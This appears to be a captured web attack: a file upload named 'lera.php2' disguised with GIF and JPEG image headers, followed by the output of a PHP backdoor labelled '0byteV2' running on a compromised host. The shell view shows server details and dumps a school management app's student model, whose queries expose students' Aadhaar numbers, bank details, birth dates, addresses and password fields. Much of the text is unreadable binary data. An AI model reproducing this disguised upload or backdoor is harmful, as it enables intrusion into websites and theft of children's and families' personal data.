------WebKitFormBoundary5SePZ93NyvO6nCmJ Content-Disposition: form-data; name="qqfile"; filename="lera.php2" Content-Type: application/octet-stream GIF89a; ÿØÿà JFIF ÿí „Photoshop 3.0 8BIM hg Js4XT_wSZ67ehRpQTnMQ( JFBMD0f000770010000cd1d00002b54000065550000ec560000e488000080b80000b1bb0000ÿÛ C ")$+*($''-2@7-0=0''8L9=CEHIH+6OUNFT@GHEÿÛ C !!E.'.EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEÿ €" ÿÄ ÿÄ ÿÚ ù úȉ{j êv $àiwžœöˆ'Ýœ«§ôåÝU >À [T€ÕôuÕæî§—ÈúWÃúþÀ Iô1óËî£;˜‘ò8ØN¸£•w@cŽºóê¶'»6r´G[É]X«§=&5³uÝ÷mqÖÑSÞœX†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†Zò²²²²²²‹@ ŸMöóù‹éy3÷ëûOcõjSƒvQÎSÞŸ9yWI$ä`äÝO‡/çWyå¼ã›Ï¸ëSãý+ƒ §e,/~™}_^Ç*—~IM•ÇЫäÞý¿yð—ÞðO;šƒ›ÊoCŸ¿c_ÇëüYÈåmѧíö=%÷Ä¢^EΫW•Y±ýÊöZm.läýúlûŸ‘cÛòóP=Ÿ™Zé<9Ï%âGoÈŠ›é<@MÆ>§—›;yüÇn1;v‰626,=V~”qú<‘ušã’ëÑ/1íä5¯…a6=|å¹ìy~Õž[æ?Sù[Yyˆëûn#®>{fŒ§ì…¹wýú&³>F­Úžã–'Íj,*³¨½75œ½õG¦Ëêè>¯¹IdÔy=ùbØïËTi°¸u—†ì8t¬ºÃfmmíEÞ„K óãøî×çÙé;d’Þå·s<†½»»)<ãû,–œ˜ùì}Sg'¿¿Ÿ§ÆŠÆ[yò nÓ¼õïµç¯CÑæèÂP­Ño®)4ôå‹ÓÕÚ¯?òÿ ªry×»¤–fÚý‹ï¾!‹Â_Ô~GosöѤë9a³ùU Ç;c¯tyí=óѳXßcQ'¦-Ú6z|ùA™–ì)îjyïWMÌõü·KqMu¬ôÖPlºg“ù¯×ø\o™›/T½dÍ6lü×fZÚóÍ{#\yž,/dhWºý°·eßÏË%•·ÓUô;Ÿ“g¼“[ ¾÷›ò:Uâá_¼‘‹Ó¥ÛeNuWɨ3­Ð¼ò\½%ÌðÇ|5µ[q†±/ ˜j|wèùÌëhvkØJ[eèâÑ7EÌê~Ûå¸]w+Ùsß;qWmsÕÙ×ÙîRpýßÌ%¼ÓY/.Žâ¶ïO™Déêó®s)q%Ù”t²±ÕÕ·ìùyŸ>>ûìÖüwâCÛŽÆ|d<÷/L<Ø]¦øUF¼î&'=Þµrý„i¯—Bî¹¼©qݯ;Ã<6K“Á™Œdê·jGuÀ};Y¶¾^¹ü¾³èU¸×Ï´^Àãß =44 ÂNç[ß5Ÿ}ó™oUyèä‰>¹Ï§¹¬ç¸¿Üòß/k]hÏSg]iµWÍ>£óLX;6d½uå-þ§â-ÍlLµÍA¯é}ι:zùj|ߢ_¶åæ]üþ=K+Ìõš3Çaæ^z2óÐôyæ^²ðÇ̼1{âÉ“¢C\ßÏûÎ*øýw/iËuëÁëÁ²ÂìîoѾwô=N’4½=8ÒÓ¡çuË´ñûaèÙ6¦¾ãzñ®Ç~®¼±ó=öYQ·Â6çŽc×£Ð2½ðyèó¼<Ç"ÉߣrÕstIiù.î¢>x;ÅîÕÓäß2Âty|úïúGÎ>§¼YF“¯ È’ôç§/:,¿º²Vɲ(úlwÏåñ>‹O×—«£ÑÛ”©ºvý,˜øÔݺdðëæ¾=SÙW[YÑÙÖÙjiù§Ô¹y®C.†$Yô4WÚ Ú@²‚‹§çña¥ã,/&zWD´‰5õŒ±Ë·6éÝ.ØÛ4›rÇ3ÐzAàz<óу"ÊÏÈgŒ¸G›”¼ß7ô­-p6Ý”¼¹çQéñFϧ=ô¼vïžq¤ÅܯӶ'>”òr‰âöa*¦L·’+%±¾DûO»7½”ÁîøOg—´gRæÃ³Æáôu6wKade¦ÞÓÝsD¼cfaqMth®¸†SÐvÚ£‰uÐcŸÆßFuG_yX}C/=ëÏ ºó—diI9yéï¾z <ôxW¾~6K†ÍûåÓ¿!–xì=÷OL¢6cו3¹¼ôÙ¯Ù%­;fñÙ×^v㵎žüdgEËçßB×¼ü~/}Âk2¬kìµ2±‡mǧ;:¾É/ìël«me¥maŽÂ@µ­²\ [×pŠGõ­2Ã^³(›õ–Ï=¦Í[eò.íd¿|ô{ç  z,¯=Ù5~^Ç¢½ô2Ù†p÷gî#6Ô.o«ä¸öª<'®tʾ§é•¾¯=•g?3Rân­Õ/~½¬ú#Îs£ÀùL¾§šíÎEµm§=r¶,K»:Ë3lƒÜ’¾ÆåÝ|3ÖDÖÏÃ6bš´I×^ûç§›ônšÑ†ÜO¾z=óРЯ|¶êË:ÏÝ#w¾l<^áéëAŠå­…˜sG1Ç·?®LŸ7£G¯g³Ç3›è¹­gËÝdØS‰4íL˜ú5ìÒ{Íôšu8ë3²ç§×ØÙsgWfoƒ:†^ed)‘e,ˆ“bù‘1ó?0Ù‰«^ívaïž™nײjÌÒG¾z=óРЯpñwéÎfl}Û½5gèôcž³hÀÏÍ^ÖTöÚq¾RöfR±Ë¼¤UMÓ›+ º 2"nY;aäKö)a„|ÌòÓ´ãkz8%Õm•ͽ¥M©"¸¦Dß«j̉.)“Òcæ^ãž&¼6áQÞz›vc”Ô=šö¦×žžïƒ×ƒ×ƒ×ƒ&%=ÌÛ»^üë/™<ôyèÃVQ„-ÕD¹4ö¦ü°ôÊ$˜$KNK¯2Ã=ZÌI”ÖyÔ½9hY9éÍvç§a–!t]LÙn ®¯»ª(¬«,®m-ªíjDYQcÁdm˜dM&:ûïž§žeáŽ9xa¯n²Xe©+-{3¨;ôo³?qÊø=yè ûž½¦ì±Ù=÷ÓܼÀË^™èzAÑC(m«,Íž{‰–ºJkÍ2O`Í¢³EµY¾³Et¹gå+$l‹´ßž­¢¶Ú¼Ûº¿s2àOŒr–uÖzÍ•­E¹"<ˆæ>ùêhÇ, úwjW¾zžy—†8çá†ëHáž’žjΣÈ&ç?qôõàõâ_^^^}ÇÕ÷||ɹDÛn÷ÌÃ/O^j6jÕ¨k•¸å­4ïìôÇTÍf¬ â¶ß/OnsUW|ÏAô™ùŸNm©îýy› ËˆTϬ±IúvéNRÒ®×Y°¶¨¶$èݤÇß=MZwÇ,uç¨×çúS…Èíü㥺ã=yêJ¿Fn‰påÙŸ¸z{î>ž¼¼¼¼1õ¬·ã*\}ÛŽožâ6{€Éæg¹éÒJÓ£Ly|zöXóÕ™ßYËÕÁƽž¹pÇ,N’Öžû¯>¡¯×÷¾ãž³·v.r÷©£|bªd-õe†&y‹:›{™¶ôÖĽ;u˜{á0¾)c«f³çg'×ú¶ˆ®ñNVo…Uç¯mJÑ–ƒTÈS}ÇÓßqö=x=x=x=x=÷Vný;ecîÜëN[r5ûž&:öº¬=+¥Ëôƒó?©|Ã:‹Ž¬üþœôg£;kÕ†ñ»Í;7Ï¡é9Γ¦3Ãf»%nÃlmϬõ§±%WÕtÚûDß[qªÎ:ö¢ÚæUÅ5Á/°1ð5Å•²×ù×WÍt%ûÜSÌ}òÏ0Ï]p™üåË·Ò5|ð¿A‘óaô§ÍGÒ½ù ú[æƒéoš¥¾h>–ù ú^1/Õòù0úÎ#G×qù úÃäãëyü„}/¯êù/‡Õ9nT]m ó¿ÓOä½u‡ Ö{ìx?S»ÝóÕ}óŸkéÙ|Çú†_-R|·Óê0¾v®Ö_}//šxv2ø/dú ‡ËGÖ_&W| }V'ÍGÕ}ùHëí>x>¯çÊGÕŸ)GÕqùb½` !ž‘Òt GHÒt™7«%•«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²­Ø3333333333333¡k—¯’u£’u£’u£’u£’u£“è&5Æ"[\b%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰c×ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1Ù€ )ìMí;€ ‰‘šd  WJ7€ 5Íq¦4$•mɪÒblJûcdZúÓéœ×CÏš'èÒd œXXÂÐY×i–Næ$Ä;kŠÒ.4Ç+Ð’4Tj,zJi†uÒ®@ ä <ôyè1È 9Ï@äzr cç  ;©Ë\áA.ãrÛέG‰|åî‰ÈS@ SÜ^·º¡ Ié12ïÇ¿¸È‡3Ï@ §µ3!@<=yè ÃÔ9€ÀÍH Dе“HdÀÄ –ê°ö¿TRF°‹9”ÞùQôåF¨´çYŽÆÝUFî‡çÿ @8{¬9âö eéa_¸h•Œ2æG-Ñ6À„M¢ys„j‚Æ]©×rýGn—ÉÙ“çÒX rrY 1d ¢¼ôyèãÐ ä=är Œ9Úé@ IÎ^Yy¶Œîœôbúg1<¸s°Î¹Éô$µ.¢ýÊm:g'd]B©€vJZã«SzYã›;5ƒ¦s™šÀê!G©:·5 ½QV{ŸÒtÎg¡6¹I¥ó”ÚtÎkYÐI¥º _`>y+·ôå w.¯ âs::üNã£ä»Æìë¼9º^ÿ AÉ{+¥8Ýß§!CôÜNOÀAæ»LNÞóœÇ§9ËèYùμqº;N[Eéó½HðæúPâr»¹>wi×dsUý=AïH ô á h!“ h „M ,ÉDbK^À‡0 e N…¸¾ÆBl¨ÒÈ7ìÓf"ûŸ¸(er–fWÔYö|ñWŸ5r\m ¾Ó§QâžqmËÝÓúkàÞc@_aKК¤êô÷fª‚ßÝ4ÇЀ xôc 9 äyŽAç£ÏAŽCÇ¡Ž@ W£Ç  eQYóSK…#ªr3ŽÌôÄ)¼E±ÐãËG:­uµ‡dæ§í\ñÓ9;ñÍzt‘*v38^ ²sðαÎút.r!×9¹e„žG#¬rsÌÍ.TUÇ\äý:·-b\)î Ez8Ÿ{\N&Ï¥ç=ôAó¤yéÍT÷cæ]WéËÖw~œt~çMJ9¼:qó™ý®GkÒäsžtƒ›tƒš¥ïü8ùÝã¦Í°8Kîsp;:r—ÎÄq6½ù·KÒoWSáÇö>z ))†’H"i”ÃI%Ž@ Bš w™€€ W´DyT³ÌfQxZE§é ¹hÞGßQ<…g¨êôBØiÛßå$ó^r<$@®®:Ï#î0—S(Ï^ÈEäZ襔(EÖ0eǯ¯-6CZèªØMe‰£dJ“§¸å;p 1È<ô @ o9™.Î’XßËÚ=/9Ñžr<$@®®:Ï#î%Á‰¤°Ë_›%ò–äü<¨,0¢˜MH4Âôºò³Y»\œŒôÐë> ä Ž@9 *t^†99 1È Ž@rrr9r )í²ä <ô óÚRçÞgQÕ¹ìK™4ÂçÞgQ}7—š]«)έG èܶGN ˆ^Íãå,I\9Ý9èÇUž¸í\î'Hæ5VŽNؾ‰+‡;§=ê¡Ó׫Èè¾Ã¤s9Ÿè ㊧úXãö[[í¬ñÅSý,q¶ ¢«¾˜qÛ;LNqÒŽ>“éxœUŸH1â;œNWÐq9½ æùï¢âq½ ã¤uÎ#¹Äáu}˜ÛÒnèŸ;¾êÍîzꂳ«óÐ ò!0 ä †` Ë:"@•·Òvþ›¨ìëK+sÒú=f¢D†ãD¬a—29nˆ ·…¼‡æÒ<îwis®óD½uD­Ôgœ>o¤ ä ccñèÇ ƒÇ£ÏCƒƒE}¸Ç %³œ–\F¨€u{(ôœ[eÌJ/aSh:ÕF%Ë–œ]¨"S””t0è0:íTVdüe¡~æEÌÞ*Ø¿Q êöQè:77dY Háäõãçø}#¯úävu9u}‡‡Î,ûOJ-AI‡g‘ÉHé=9ªžì|Ë£ê29»Yã‹ÝäpvýG·«ðà0úG_ôÇXt ¤¦‚4 ¤€ <=F’ h h ŠJ!@ Šöˆ¯µ¦ÖYWÀ½7DÓHu‘`f]é×F\k¥èˆöá—_hr6üÎÂß\AkŸ=,•¯d"ò-tSe¶º’Âo!ÐåÔÊ2ƒX:}õX–÷§V 0byteV2 - PHP Backdoor
Linux 116-202-49-93.cprapid.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64 [ FIND EXPLOIT ]
[ MySQL: OFF ][ Curl: OFF ][ Wget: OFF ][ Perl: OFF ][ Compiler: OFF ]

Disable Function: exec,passthru,shell_exec,system

/home/vhtecindia/public_html/bcvps.in/application/models/
current_session = $this->setting_model->getCurrentSession(); $this->current_date = $this->setting_model->getDateYmd(); } public function getBirthDayStudents($date, $email = false, $contact_no = false) { $this->db->select('classes.id AS `class_id`,student_session.id as student_session_id,students.id,classes.class,sections.id AS `section_id`,sections.section,students.id,students.admission_no , students.roll_no,students.admission_date,students.firstname, students.lastname,students.image, students.mobileno, students.email ,students.state , students.city , students.pincode , students.religion, students.dob ,students.current_address, students.permanent_address,IFNULL(students.category_id, 0) as `category_id`,IFNULL(categories.category, "") as `category`,students.adhar_no,students.samagra_id,students.bank_account_no,students.bank_name, students.ifsc_code , students.guardian_name , students.guardian_relation,students.guardian_phone,students.guardian_address,students.is_active ,students.created_at ,students.updated_at,students.father_name,students.rte,students.gender,users.id as `user_tbl_id`,users.username,users.password as `user_tbl_password`,users.is_active as `user_tbl_active`,students.app_key,students.parent_app_key')->from('students'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->join('categories', 'students.category_id = categories.id', 'left'); $this->db->join('users', 'users.user_id = students.id', 'left'); $this->db->where('student_session.session_id', $this->current_session); $this->db->where('students.is_active', 'yes'); $this->db->where('users.role', 'student'); if ($email) { $this->db->where('students.email !=', ""); } if ($contact_no) { $this->db->where('students.mobileno !=', ""); } $this->db->where("DATE_FORMAT(students.dob,'%m-%d') = DATE_FORMAT('" . $date . "','%m-%d')"); $this->db->order_by('students.id'); $query = $this->db->get(); return $query->result_array(); } public function getStudents() { $this->db->select('classes.id AS `class_id`,student_session.id as student_session_id,students.id,classes.class,sections.id AS `section_id`,sections.section,students.id,students.admission_no , students.roll_no,students.admission_date,students.firstname, students.lastname,students.image, students.mobileno, students.email ,students.state , students.city , students.pincode , students.religion, students.dob ,students.current_address, students.permanent_address,IFNULL(students.category_id, 0) as `category_id`,IFNULL(categories.category, "") as `category`,students.adhar_no,students.samagra_id,students.bank_account_no,students.bank_name, students.ifsc_code , students.guardian_name , students.guardian_relation,students.guardian_phone,students.guardian_address,students.is_active ,students.created_at ,students.updated_at,students.father_name,students.rte,students.gender,users.id as `user_tbl_id`,users.username,users.password as `user_tbl_password`,users.is_active as `user_tbl_active`')->from('students'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->join('categories', 'students.category_id = categories.id', 'left'); $this->db->join('users', 'users.user_id = students.id', 'left'); $this->db->where('student_session.session_id', $this->current_session); $this->db->where('students.is_active', 'yes'); $this->db->where('users.role', 'student'); $this->db->order_by('students.id'); $query = $this->db->get(); return $query->result_array(); } public function getAppStudents() { $this->db->select('classes.id AS `class_id`,student_session.id as student_session_id,students.id,classes.class,sections.id AS `section_id`,sections.section,students.id,students.admission_no , students.roll_no,students.admission_date,students.firstname, students.lastname,students.image, students.mobileno, students.email ,students.state , students.city , students.pincode , students.religion, students.dob ,students.current_address, students.permanent_address,IFNULL(students.category_id, 0) as `category_id`,IFNULL(categories.category, "") as `category`,students.adhar_no,students.samagra_id,students.bank_account_no,students.bank_name, students.ifsc_code , students.guardian_name , students.app_key ,students.guardian_relation,students.guardian_phone,students.guardian_address,students.is_active ,students.created_at ,students.updated_at,students.father_name,students.rte,students.gender,users.id as `user_tbl_id`,users.username,users.password as `user_tbl_password`,users.is_active as `user_tbl_active`')->from('students'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->join('categories', 'students.category_id = categories.id', 'left'); $this->db->join('users', 'users.user_id = students.id', 'left'); $this->db->where('student_session.session_id', $this->current_session); $this->db->where('students.is_active', 'yes'); $this->db->where('students.app_key !=', ""); $this->db->where('users.role', 'student'); $this->db->order_by('students.id'); $query = $this->db->get(); return $query->result(); } public function getRecentRecord($id = null) { $this->db->select('classes.id AS `class_id`,classes.class,sections.id AS `section_id`,sections.section,students.id,students.admission_no , students.roll_no,students.admission_date,students.firstname, students.lastname,students.image, students.mobileno, students.email ,students.state , students.city , students.pincode , students.religion, students.dob ,students.current_address, students.permanent_address,students.category_id, students.adhar_no,students.samagra_id,students.bank_account_no,students.bank_name, students.ifsc_code , students.guardian_name , students.guardian_relation,students.guardian_phone,students.guardian_address,students.is_active ,students.created_at ,students.updated_at,students.father_name,students.father_phone,students.father_occupation,students.mother_name,students.mother_phone,students.mother_occupation,students.guardian_occupation,students.gender,students.guardian_is')->from('students'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->where('student_session.session_id', $this->current_session); if ($id != null) { $this->db->where('students.id', $id); } else { } $this->db->order_by('students.id', 'desc'); $this->db->limit(5); $query = $this->db->get(); if ($id != null) { return $query->row_array(); } else { return $query->result_array(); } } public function getParentChilds($parent_id) { $sql = "SELECT students.*,student_session.id as `student_session_id`,student_session.session_id,student_session.student_id,student_session.class_id,student_session.section_id,classes.class,sections.section From students inner JOIN student_session on student_session.student_id=students.id inner join classes on student_session.class_id=classes.id INNER JOIN sections on sections.id=student_session.section_id WHERE students.parent_id=" . $this->db->escape($parent_id) . " and student_session.session_id=" . $this->current_session . " and students.is_active = 'yes' order by student_session.class_id asc"; $query = $this->db->query($sql); return $query->result(); // $this->db->select('students.*,classes.id AS `class_id`,classes.class,sections.id AS `section_id`,sections.section')->from('students'); // $this->db->join('student_session', 'student_session.student_id = students.id'); // $this->db->join('classes', 'student_session.class_id = classes.id'); // $this->db->join('sections', 'sections.id = student_session.section_id'); // $this->db->where('student_session.session_id', $this->current_session); // $this->db->where('parent_id', $parent_id); // $this->db->where('students.is_active', 'yes'); // $this->db->group_by('students.id'); // $query = $this->db->get(); // return $query->result(); } public function getStudentByClassSectionID($class_id = null, $section_id = null, $id = null) { $this->db->select('student_session.transport_fees,students.vehroute_id,vehicle_routes.route_id,vehicle_routes.vehicle_id,transport_route.route_title,vehicles.vehicle_no,hostel_rooms.room_no,vehicles.driver_name,vehicles.driver_contact,hostel.id as `hostel_id`,hostel.hostel_name,room_types.id as `room_type_id`,room_types.room_type ,students.hostel_room_id,student_session.id as `student_session_id`,student_session.fees_discount,classes.id AS `class_id`,classes.class,sections.id AS `section_id`,sections.section,students.id,students.admission_no , students.roll_no,students.admission_date,students.firstname, students.lastname,students.image, students.mobileno, students.email ,students.state , students.city , students.pincode , students.note, students.religion, students.cast, school_houses.house_name, students.dob ,students.current_address, students.previous_school, students.guardian_is,students.parent_id, students.permanent_address,students.category_id,students.adhar_no,students.samagra_id,students.bank_account_no,students.bank_name, students.ifsc_code , students.guardian_name , students.father_pic ,students.height ,students.weight,students.measurement_date, students.mother_pic , students.guardian_pic , students.guardian_relation,students.guardian_phone,students.guardian_address,students.is_active ,students.created_at ,students.updated_at,students.father_name,students.father_phone,students.blood_group,students.school_house_id,students.father_occupation,students.mother_name,students.mother_phone,students.mother_occupation,students.guardian_occupation,students.gender,students.guardian_is,students.rte,students.guardian_email, users.username,users.password,students.dis_reason,students.dis_note,students.app_key,students.parent_app_key')->from('students'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->join('hostel_rooms', 'hostel_rooms.id = students.hostel_room_id', 'left'); $this->db->join('hostel', 'hostel.id = hostel_rooms.hostel_id', 'left'); $this->db->join('room_types', 'room_types.id = hostel_rooms.room_type_id', 'left'); $this->db->join('vehicle_routes', 'vehicle_routes.id = students.vehroute_id', 'left'); $this->db->join('transport_route', 'vehicle_routes.route_id = transport_route.id', 'left'); $this->db->join('vehicles', 'vehicles.id = vehicle_routes.vehicle_id', 'left'); $this->db->join('school_houses', 'school_houses.id = students.school_house_id', 'left'); $this->db->join('users', 'users.user_id = students.id', 'left'); $this->db->where('student_session.class_id', $class_id); $this->db->where('student_session.section_id', $section_id); $this->db->where('student_session.session_id', $this->current_session); $this->db->where('users.role', 'student'); if ($id != null) { $this->db->where('students.id', $id); } else { $this->db->where('students.is_active', 'yes'); $this->db->order_by('students.id', 'desc'); } $query = $this->db->get(); if ($id != null) { return $query->row_array(); } else { return $query->result_array(); } } public function getByStudentSession($student_session_id) { $this->db->select('student_session.transport_fees,students.app_key,students.vehroute_id,vehicle_routes.route_id,vehicle_routes.vehicle_id,transport_route.route_title,vehicles.vehicle_no,hostel_rooms.room_no,vehicles.driver_name,vehicles.driver_contact,hostel.id as `hostel_id`,hostel.hostel_name,room_types.id as `room_type_id`,room_types.room_type ,students.hostel_room_id,student_session.id as `student_session_id`,student_session.fees_discount,classes.id AS `class_id`,classes.class,sections.id AS `section_id`,sections.section,class_sections.id as `class_section_id`,students.id,students.admission_no , students.roll_no,students.admission_date,students.firstname, students.lastname,students.image, students.mobileno, students.email ,students.state , students.city , students.pincode , students.note, students.religion, students.cast, school_houses.house_name, students.dob ,students.current_address, students.previous_school, students.guardian_is,students.parent_id, students.permanent_address,students.category_id,students.adhar_no,students.samagra_id,students.bank_account_no,students.bank_name, students.ifsc_code , students.guardian_name , students.father_pic ,students.height ,students.weight,students.measurement_date, students.mother_pic , students.guardian_pic , students.guardian_relation,students.guardian_phone,students.guardian_address,students.is_active ,students.created_at ,students.updated_at,students.father_name,students.father_phone,students.blood_group,students.school_house_id,students.father_occupation,students.mother_name,students.mother_phone,students.mother_occupation,students.guardian_occupation,students.gender,students.guardian_is,students.rte,students.guardian_email, users.username,users.password,students.dis_reason,students.dis_note,students.app_key,students.parent_app_key')->from('students'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->join('class_sections', 'class_sections.class_id = classes.id and class_sections.section_id = sections.id'); $this->db->join('hostel_rooms', 'hostel_rooms.id = students.hostel_room_id', 'left'); $this->db->join('hostel', 'hostel.id = hostel_rooms.hostel_id', 'left'); $this->db->join('room_types', 'room_types.id = hostel_rooms.room_type_id', 'left'); $this->db->join('vehicle_routes', 'vehicle_routes.id = students.vehroute_id', 'left'); $this->db->join('transport_route', 'vehicle_routes.route_id = transport_route.id', 'left'); $this->db->join('vehicles', 'vehicles.id = vehicle_routes.vehicle_id', 'left'); $this->db->join('school_houses', 'school_houses.id = students.school_house_id', 'left'); $this->db->join('users', 'users.user_id = students.id', 'left'); $this->db->where('student_session.session_id', $this->current_session); $this->db->where('users.role', 'student'); $this->db->where('student_session.id', $student_session_id); $query = $this->db->get(); return $query->row_array(); } public function get($id = null) { $this->db->select('student_session.transport_fees,students.app_key,students.parent_app_key,students.vehroute_id,vehicle_routes.route_id,vehicle_routes.vehicle_id,transport_route.route_title,vehicles.vehicle_no,hostel_rooms.room_no,vehicles.driver_name,vehicles.driver_contact,hostel.id as `hostel_id`,hostel.hostel_name,room_types.id as `room_type_id`,room_types.room_type ,students.hostel_room_id,student_session.id as `student_session_id`,student_session.fees_discount,classes.id AS `class_id`,classes.class,sections.id AS `section_id`,sections.section,students.id,students.admission_no , students.roll_no,students.admission_date,students.firstname, students.lastname,students.image, students.mobileno, students.email ,students.state , students.city , students.pincode , students.note, students.religion, students.cast, school_houses.house_name, students.dob ,students.current_address, students.previous_school, students.guardian_is,students.parent_id, students.permanent_address,students.category_id,students.adhar_no,students.samagra_id,students.bank_account_no,students.bank_name, students.ifsc_code , students.guardian_name , students.father_pic ,students.height ,students.weight,students.measurement_date, students.mother_pic , students.guardian_pic , students.guardian_relation,students.guardian_phone,students.guardian_address,students.is_active ,students.created_at ,students.updated_at,students.father_name,students.father_phone,students.blood_group,students.school_house_id,students.father_occupation,students.mother_name,students.mother_phone,students.mother_occupation,students.guardian_occupation,students.gender,students.guardian_is,students.rte,students.guardian_email, users.username,users.password,students.dis_reason,students.dis_note,students.disable_at')->from('students'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->join('hostel_rooms', 'hostel_rooms.id = students.hostel_room_id', 'left'); $this->db->join('hostel', 'hostel.id = hostel_rooms.hostel_id', 'left'); $this->db->join('room_types', 'room_types.id = hostel_rooms.room_type_id', 'left'); $this->db->join('vehicle_routes', 'vehicle_routes.id = students.vehroute_id', 'left'); $this->db->join('transport_route', 'vehicle_routes.route_id = transport_route.id', 'left'); $this->db->join('vehicles', 'vehicles.id = vehicle_routes.vehicle_id', 'left'); $this->db->join('school_houses', 'school_houses.id = students.school_house_id', 'left'); $this->db->join('users', 'users.user_id = students.id', 'left'); $this->db->where('student_session.session_id', $this->current_session); $this->db->where('users.role', 'student'); if ($id != null) { $this->db->where('students.id', $id); } else { $this->db->where('students.is_active', 'yes'); $this->db->order_by('students.id', 'desc'); } $query = $this->db->get(); if ($id != null) { return $query->row_array(); } else { return $query->result_array(); } } public function findByAdmission($admission_no = null) { $this->db->select('student_session.transport_fees,students.vehroute_id,vehicle_routes.route_id,vehicle_routes.vehicle_id,transport_route.route_title,vehicles.vehicle_no,hostel_rooms.room_no,vehicles.driver_name,vehicles.driver_contact,hostel.id as `hostel_id`,hostel.hostel_name,room_types.id as `room_type_id`,room_types.room_type ,students.hostel_room_id,student_session.id as `student_session_id`,student_session.fees_discount,classes.id AS `class_id`,classes.class,sections.id AS `section_id`,sections.section,students.id,students.admission_no , students.roll_no,students.admission_date,students.firstname, students.lastname,students.image, students.mobileno, students.email ,students.state , students.city , students.pincode , students.note, students.religion, students.cast, school_houses.house_name, students.dob ,students.current_address, students.previous_school, students.guardian_is,students.parent_id, students.permanent_address,students.category_id,students.adhar_no,students.samagra_id,students.bank_account_no,students.bank_name, students.ifsc_code , students.guardian_name , students.father_pic ,students.height ,students.weight,students.measurement_date, students.mother_pic , students.guardian_pic , students.guardian_relation,students.guardian_phone,students.guardian_address,students.is_active ,students.created_at ,students.updated_at,students.father_name,students.father_phone,students.blood_group,students.school_house_id,students.father_occupation,students.mother_name,students.mother_phone,students.mother_occupation,students.guardian_occupation,students.gender,students.guardian_is,students.rte,students.guardian_email, users.username,users.password,students.dis_reason,students.dis_note')->from('students'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->join('hostel_rooms', 'hostel_rooms.id = students.hostel_room_id', 'left'); $this->db->join('hostel', 'hostel.id = hostel_rooms.hostel_id', 'left'); $this->db->join('room_types', 'room_types.id = hostel_rooms.room_type_id', 'left'); $this->db->join('vehicle_routes', 'vehicle_routes.id = students.vehroute_id', 'left'); $this->db->join('transport_route', 'vehicle_routes.route_id = transport_route.id', 'left'); $this->db->join('vehicles', 'vehicles.id = vehicle_routes.vehicle_id', 'left'); $this->db->join('school_houses', 'school_houses.id = students.school_house_id', 'left'); $this->db->join('users', 'users.user_id = students.id', 'left'); $this->db->where('student_session.session_id', $this->current_session); $this->db->where('users.role', 'student'); $this->db->where('students.is_active', 'yes'); $this->db->where('students.admission_no', $admission_no); $query = $this->db->get(); if ($query->num_rows() > 0) { return $query->row(); } return false; } public function search_alumniStudent($class_id = null, $section_id = null, $session_id = null) { $i = 1; $custom_fields = $this->customfield_model->get_custom_fields('students', 1); $field_var_array = array(); if (!empty($custom_fields)) { foreach ($custom_fields as $custom_fields_key => $custom_fields_value) { $tb_counter = "table_custom_" . $i; array_push($field_var_array, 'table_custom_' . $i . '.field_value as ' . $custom_fields_value->name); $this->db->join('custom_field_values as ' . $tb_counter, 'students.id = ' . $tb_counter . '.belong_table_id AND ' . $tb_counter . '.custom_field_id = ' . $custom_fields_value->id, 'left'); $i++; } } $field_variable = implode(',', $field_var_array); $this->db->select('classes.id AS `class_id`,student_session.id as student_session_id,students.id,GROUP_CONCAT(classes.class,"(",sections.section,")") as class,sections.id AS `section_id`,students.id,students.admission_no , students.roll_no,students.admission_date,students.firstname, students.lastname,students.image, students.mobileno, students.email ,students.state , students.city , students.pincode , students.religion, students.dob ,students.current_address, students.permanent_address,IFNULL(students.category_id, 0) as `category_id`,IFNULL(categories.category, "") as `category`,students.adhar_no,students.samagra_id,students.bank_account_no,students.bank_name, students.ifsc_code , students.guardian_name , students.guardian_relation,students.guardian_phone,students.guardian_address,students.is_active ,students.created_at ,students.updated_at,students.father_name,students.rte,students.gender,' . $field_variable)->from('students'); $this->db->join('student_session', 'student_session.student_id = students.id'); $this->db->join('classes', 'student_session.class_id = classes.id'); $this->db->join('sections', 'sections.id = student_session.section_id'); $this->db->join('categories', 'students.category_id = categories.id', 'left'); $this->db->where('student_session.is_alumni', 1); $this->db->where('students.is_active', "yes"); if ($class_id != null) { $this->db->where('student_session.class_id', $class_id); } if ($section_id != null) { $this->db->where('student_session.section_id', $section_id); } if ($session_id != null) { $this->db->where('student_session.session_id', $session_id); } $this->db->group_by('students.id'); $this->db->order_by('students.admission_no', 'asc'); $query = $this->db->get(); return $query->result_array(); } public function search_alumniStudentbyAdmissionNo($searchterm, $carray) { $userdata = $this->customlib->getUserData(); $staff_id = $userdata['id']; $i = 1; $custom_fields = $this->customfield_model->get_custom_fields('students', 1); 